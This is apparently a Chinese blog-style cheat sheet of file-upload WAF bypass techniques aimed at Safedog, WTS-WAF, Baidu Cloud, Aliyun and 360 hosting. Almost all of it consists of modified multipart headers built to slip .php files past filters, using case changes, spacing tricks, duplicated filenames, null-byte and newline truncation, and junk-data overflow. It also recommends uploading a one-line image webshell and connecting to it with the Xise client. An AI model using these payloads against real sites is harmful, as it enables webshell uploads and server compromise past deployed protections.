0x01:安全狗常见的绕过思路

(1)绕过思路:对文件的内容,数据。数据包进行处理

  1. 关键点在这里Content-Disposition: form-data; name="file";filename="xx.php"
  2. 将form-data; 修改为~form-data;

(2)通过替换大小写来进行绕过。

  1. Content-Disposition: form-data; name="file"; filename="yjh.php"
  2. Content-Type: application/octet-stream
  3. 将Content-Disposition 修改为content-Disposition
  4. 将 form-data 修改为Form-data
  5. 将 Content-Type 修改为content-Type

(3)通过删减空格来进行绕过

  1. Content-Disposition: form-data; name="file"; filename="yjh.php"
  2. Content-Type: application/octet-stream
  3. 将Content-Disposition: form-data 冒号后面 增加或减少一个空格
  4. 将form-data; name="file"; 分号后面 增加或减少一个空格
  5. 将 Content-Type: application/octet-stream 冒号后面 增加一个空格

(4)通过字符串拼接绕过

  1. 看Content-Disposition: form-data; name="file"; filename="yjh3.php"
  2. 将 form-data 修改为 f+orm-data
  3. 将 from-data 修改为 form-d+ata

(5)双文件上传绕过

  1. <form action="https://www.xxx.com/xxx.asp(php)" method="post"
  2. name="form1" enctype="multipart/form‐data">
  3. <input name="FileName1" type="FILE" class="tx1" size="40">
  4. <input name="FileName2" type="FILE" class="tx1" size="40">
  5. <input type="submit" name="Submit" value="上传">
  6. </form>

(6)HTTP header 属性值绕过

  1. Content-Disposition: form-data; name="file"; filename="yjh.php"
  2. 我们通过替换form-data 为*来绕过
  3. Content-Disposition: *; name="file"; filename="yjh.php"

(7)HTTP header 属性名称绕过

  1. 源代码:
  2. Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
  3. 绕过内容如下:
  4. Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
  5. C.php"
  6. 删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

(8)等效替换绕过

  1. 原内容:
  2. Content-Type: multipart/form-data; boundary=---------------------------471463142114
  3. 修改后:
  4. Content-Type: multipart/form-data; boundary =---------------------------471463142114
  5. boundary后面加入空格。

(9)修改编码绕过

使用UTF-16、Unicode、双URL编码等等

(10)数据溢出:

查看waf 检测的位置 ,提交大量的数据进行一个 干扰,影响waf的一个检测,从而去绕过。

  1. 大量垃圾数据缓冲溢出(Content-Disposition,filename等)

(11)符号变异:防匹配(’ “ ;)

  1. filename=x.php
  2. filename="x.php
  3. filename='x.php
  4. filename=""x.php

(12)数据截断:防匹配(%00 ; 换行)

  1. filename="a.jpg;.php";
  2. filename="a.php%00.jpg" 次方法不行
  3. filename="Content-Disposition: form-data; name="upload_file";x.php"
  4. filename=
  5. "
  6. x
  7. .
  8. p
  9. h
  10. p
  11. "

(13) 重复数据:

  1. filename="x.jpg";filename="x.jpg";.....filename="x.php";
  2. filename="xxx/x.jpg"

0x02:WTS-WAF 绕过上传

  1. 原内容:
  2. Content-Disposition: form-data; name="up_picture"; filename="xss.php"
  3. 添加回车
  4. Content-Disposition: form-data; name="up_picture"; filename="xss.php"

0x03:百度云上传绕过

  1. 百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
  2. Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

0x04:阿里云上传绕过

  1. 源代码:
  2. Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
  3. 修改如下:
  4. Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
  5. 没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

0x05:360主机上传绕过

  1. 源代码:
  2. Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
  3. 绕过内容如下:
  4. Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
  5. Content-Disposition 修改为 Content-空格Disposition